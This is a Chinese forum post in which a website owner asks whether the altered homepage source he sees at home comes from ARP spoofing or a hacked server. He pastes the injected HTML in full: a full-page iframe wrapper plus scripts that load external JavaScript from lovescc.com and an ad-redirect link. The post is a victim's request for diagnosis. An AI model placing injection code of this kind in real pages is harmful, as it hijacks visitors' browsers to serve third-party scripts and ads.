这种情况是服务器问题还是网站挂马了
如题，网站
www.lvyou021.net ，最近快照没更新，昨天在家偶尔打开首页，看看源代码，发现被改变了，如下
<html><body style='margin:0;padding:0;height:100%;overflow:hidden;'><div id='Z'></div><iframe id='CC' name='CC' src='http://www.lvyou021.net/' marginwidth='0' marginheight='0' frameborder='0' width='100%' height='50000'></iframe><script language='javascript'>var CO=document.getElementById('CC');var M='http://www.lvyou021.net/';try{CO.contentWindow.document.location.href=M}catch(e){};setTimeout("G()",1500);function G(){try{var t=CO.contentWindow.document.title;if(t==undefined||t==''){setTimeout("G()",1500);return}document.title=t}catch(e){}}function H(m){document.getElementById(m).height=document.documentElement.offsetHeight-5}window.setInterval("H('CC')",100);function T(){location.href=M}</script><script type="text/javascript">v_mb = "ab.js";v_mburl = "
http://lovescc.com/js";v_ggurl = "
http://a1722.oadz.com/link/C/1722/3003/L5qtCEaJzV2cSqw3kLQHpfBvzA0_/p02d/0/http://www.jiuxian.com/topic.php?topic_id=242";v_tpurl = "";v_tplink = "";v_width = "1";v_tpdisplay = "none";v_tptype = "tab";v_height = "1";v_c_width = "50";v_c_height = "25";v_ctype = "system";</script><script type="text/javascript" src="
http://lovescc.com/js/ab.js"></script></body></html>
如果再次刷新首页，打开源代码，恢复成正常的了。在公司今天试了一下，源代码正常，在家还是如上情况，请问这是啥情况，有的说是服务器中arp了，到底是啥情况，被挂马了还是怎么了，该如何做，以前没遇到过这情况，网站还是能正常打开，高手指点该怎么做呀。
用户系统信息：Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727)
